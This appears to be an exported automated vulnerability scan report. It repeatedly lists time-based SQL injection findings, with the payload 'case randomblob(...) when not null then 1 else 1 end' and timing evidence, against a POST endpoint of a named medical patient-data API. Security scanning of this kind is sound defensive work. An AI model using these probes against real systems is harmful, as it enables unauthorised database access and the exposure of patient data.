Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,156] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,238] milliseconds, when the original unmodified query with value [208] took [2,042] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,156] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,238] milliseconds, when the original unmodified query with value [208] took [2,042] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,387] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,530] milliseconds, when the original unmodified query with value [217] took [1,073] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,387] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,530] milliseconds, when the original unmodified query with value [217] took [1,073] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [395] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [453] milliseconds, when the original unmodified query with value [173] took [1,404] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [395] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [453] milliseconds, when the original unmodified query with value [173] took [1,404] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,908] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,949] milliseconds, when the original unmodified query with value [137] took [1,553] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,908] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,949] milliseconds, when the original unmodified query with value [137] took [1,553] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,473] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [6,149] milliseconds, when the original unmodified query with value [173] took [1,901] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,473] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [6,149] milliseconds, when the original unmodified query with value [173] took [1,901] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [522] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,683] milliseconds, when the original unmodified query with value [222] took [1,999] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [522] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,683] milliseconds, when the original unmodified query with value [222] took [1,999] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [738] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,633] milliseconds, when the original unmodified query with value [115] took [1,164] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [738] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,633] milliseconds, when the original unmodified query with value [115] took [1,164] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [755] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,304] milliseconds, when the original unmodified query with value [4] took [1,552] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [755] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,304] milliseconds, when the original unmodified query with value [4] took [1,552] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [766] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,157] milliseconds, when the original unmodified query with value [168] took [1,415] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [766] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,157] milliseconds, when the original unmodified query with value [168] took [1,415] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [775] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,382] milliseconds, when the original unmodified query with value [139] took [1,439] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [775] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,382] milliseconds, when the original unmodified query with value [139] took [1,439] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [781] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the

request to take [1,047] milliseconds, when the original unmodified query with value [283] took [1,891] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [781] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,047] milliseconds, when the original unmodified query with value [283] took [1,891] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(1000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [825] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,000] milliseconds, when the original unmodified query with value [849] took [1,541] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [825] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,000] milliseconds, when the original unmodified query with value [849] took [1,541] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(1000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [848] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,763] milliseconds, when the original unmodified query with value [186] took [1,147] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [848] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,763] milliseconds, when the original unmodified query with value [186] took [1,147] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(1000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [851] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,129] milliseconds, when the original unmodified query with value [227] took [1,164] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [851] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,129] milliseconds, when the original unmodified query with value [227] took [1,164] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(1000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [856] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [862] milliseconds, when the original unmodified query with value [222] took [2,450] milliseconds.

The query time is controllable using parameter value [case randomblob(1000000) when not

Other Info	null then 1 else 1 end], which caused the request to take [856] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [862] milliseconds, when the original unmodified query with value [222] took [2,450] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [864] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,324] milliseconds, when the original unmodified query with value [166] took [3,498] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [864] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,324] milliseconds, when the original unmodified query with value [166] took [3,498] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [871] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,366] milliseconds, when the original unmodified query with value [186] took [2,154] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [871] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,366] milliseconds, when the original unmodified query with value [186] took [2,154] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [897] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,240] milliseconds, when the original unmodified query with value [242] took [1,721] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [897] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,240] milliseconds, when the original unmodified query with value [242] took [1,721] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [971] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,576] milliseconds, when the original unmodified query with value [711] took [1,484] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [971] milliseconds, parameter

Info	value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,576] milliseconds, when the original unmodified query with value [711] took [1,484] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,014] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,080] milliseconds, when the original unmodified query with value [548] took [792] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,014] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,080] milliseconds, when the original unmodified query with value [548] took [792] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,069] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,024] milliseconds, when the original unmodified query with value [130] took [3,016] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,069] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,024] milliseconds, when the original unmodified query with value [130] took [3,016] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,074] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,416] milliseconds, when the original unmodified query with value [210] took [4,552] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,074] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,416] milliseconds, when the original unmodified query with value [210] took [4,552] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,074] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,688] milliseconds, when the original unmodified query with value [178] took [2,070] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,074] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,688] milliseconds, when the original unmodified query with value [178] took [2,070] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,116] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,810] milliseconds, when the original unmodified query with value [234] took [1,789] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,116] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,810] milliseconds, when the original unmodified query with value [234] took [1,789] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,192] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,330] milliseconds, when the original unmodified query with value [230] took [889] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,192] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,330] milliseconds, when the original unmodified query with value [230] took [889] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,202] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,503] milliseconds, when the original unmodified query with value [237] took [772] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,202] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,503] milliseconds, when the original unmodified query with value [237] took [772] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,227] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,960] milliseconds, when the original unmodified query with value [278] took [1,273] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,227] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,960] milliseconds, when the original unmodified query with value [278] took [1,273] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,283] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,150] milliseconds, when the original unmodified query with value [132] took [2,119] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,283] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,150] milliseconds, when the original unmodified query with value [132] took [2,119] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,295] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,845] milliseconds, when the original unmodified query with value [222] took [3,364] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,295] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,845] milliseconds, when the original unmodified query with value [222] took [3,364] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,320] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,768] milliseconds, when the original unmodified query with value [161] took [798] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,320] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,768] milliseconds, when the original unmodified query with value [161] took [798] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,321] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,459] milliseconds, when the original unmodified query with value [205] took [771] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,321] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,459] milliseconds, when the original unmodified query with value [205] took [771] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,329] milliseconds,
Evidence	parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,659] milliseconds, when the original unmodified query with value [152] took [3,290] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,329] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,659] milliseconds, when the original unmodified query with value [152] took [3,290] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,365] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,016] milliseconds, when the original unmodified query with value [147] took [1,118] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,365] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,016] milliseconds, when the original unmodified query with value [147] took [1,118] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,393] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,616] milliseconds, when the original unmodified query with value [580] took [1,144] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,393] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,616] milliseconds, when the original unmodified query with value [580] took [1,144] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,429] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,162] milliseconds, when the original unmodified query with value [208] took [2,447] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,429] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,162] milliseconds, when the original unmodified query with value [208] took [2,447] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,480] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,810] milliseconds, when the original unmodified query with value [325.8758111691942] took [2,008] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,480] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,810] milliseconds, when the original unmodified query with value [325.8758111691942] took [2,008] milliseconds.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,539] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,769] milliseconds, when the original unmodified query with value [188] took [2,718] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,539] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,769] milliseconds, when the original unmodified query with value [188] took [2,718] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,551] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,072] milliseconds, when the original unmodified query with value [344] took [1,963] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,551] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,072] milliseconds, when the original unmodified query with value [344] took [1,963] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,570] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,352] milliseconds, when the original unmodified query with value [205] took [2,342] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,570] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,352] milliseconds, when the original unmodified query with value [205] took [2,342] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,597] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,940] milliseconds, when the original unmodified query with value [198] took [2,227] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,597] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which
Info	caused the request to take [2,940] milliseconds, when the original unmodified query with value [198] took [2,227] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,614] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,643] milliseconds, when the original unmodified query with value [139] took [931] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,614] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,643] milliseconds, when the original unmodified query with value [139] took [931] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,720] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,469] milliseconds, when the original unmodified query with value [81] took [2,517] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,720] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,469] milliseconds, when the original unmodified query with value [81] took [2,517] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,806] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,024] milliseconds, when the original unmodified query with value [232] took [823] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,806] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,024] milliseconds, when the original unmodified query with value [232] took [823] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,912] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,053] milliseconds, when the original unmodified query with value [230] took [2,664] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,912] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,053] milliseconds, when the original unmodified query with value [230] took [2,664] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,022] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,255] milliseconds, when the original unmodified query with value [200] took [763] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,022] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,255] milliseconds, when the original unmodified query with value [200] took [763] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,032] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,774] milliseconds, when the original unmodified query with value [210] took [923] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,032] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,774] milliseconds, when the original unmodified query with value [210] took [923] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
